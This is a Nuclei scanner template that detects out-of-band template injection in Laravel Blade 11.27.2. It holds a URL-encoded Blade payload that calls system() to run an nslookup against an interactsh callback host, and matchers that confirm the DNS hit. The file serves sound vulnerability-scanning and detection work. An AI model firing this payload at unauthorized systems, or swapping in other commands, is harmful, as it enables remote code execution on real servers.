id: blade-oob

info:
  name: Laravel Blade 11.27.2 - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK
  severity: high
  reference:
    - https://laravel.com/docs/11.x/blade
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - '%7B%7Bsystem%28%27nslookup%20-type=SRV%20{{interactsh-url}}%27%29%7D%7D%0A'

    skip-variables-check: true

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 4a0a00473045022100cd8d8ea3f75134ec1a9235f83294c87b8f49df61c565d5fa91dc45c57759aad302203b9fa6ca78133641e3d5b3304ead17401d5f2ccd55b3917418f23dc677014681:922c64590222798bb761d5b6d8e72950